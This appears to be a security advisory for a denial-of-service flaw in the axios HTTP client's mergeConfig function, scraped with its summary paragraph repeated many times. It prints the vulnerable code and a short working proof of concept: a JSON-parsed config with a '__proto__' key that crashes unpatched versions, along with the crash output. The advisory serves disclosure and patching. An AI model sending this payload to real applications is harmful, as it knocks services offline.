Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service. This vulnerability is fixed in versions 0.30.3 and 1.13.5.
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service. This vulnerability is fixed in versions 0.30.3 and 1.13.5.
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service. This vulnerability is fixed in versions 0.30.3 and 1.13.5.
# Denial of Service via **proto** Key in mergeConfig
### Summary
The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.
### Details
The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:
```javascript
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
const merge = mergeMap[prop] || mergeDeepProperties;
const configValue = merge(config1[prop], config2[prop], prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
```
When `prop` is `'__proto__'`:
1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property
2. `Object.keys()` includes `'__proto__'` in the iteration
3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)
4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`
5. `Object.prototype(...)` throws `TypeError: merge is not a function`
The `mergeConfig` function is called by:
- `Axios._request()` at `lib/core/Axios.js:75`
- `Axios.getUri()` at `lib/core/Axios.js:201`
- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`
### PoC
```javascript
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
```
**Reproduction steps:**
1. Clone axios repository or `npm install axios`
2. Create file `poc.mjs` with the code above
3. Run: `node poc.mjs`
4. Observe the TypeError crash
**Verified output (axios 1.13.4):**
```
TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)
```
**Control tests performed:**
| Test | Config | Result |
|------|--------|--------|
| Normal config | `{"timeout": 5000}` | SUCCESS |
| Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** |
| Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS |
**Attack scenario:**
An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`.
### Impact
**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests
- Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
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Risk history
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Advisory history
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Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…
Axios is a promise based HTTP client for the browser and Node.js. Prior to versions 0.30.3 and 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property.…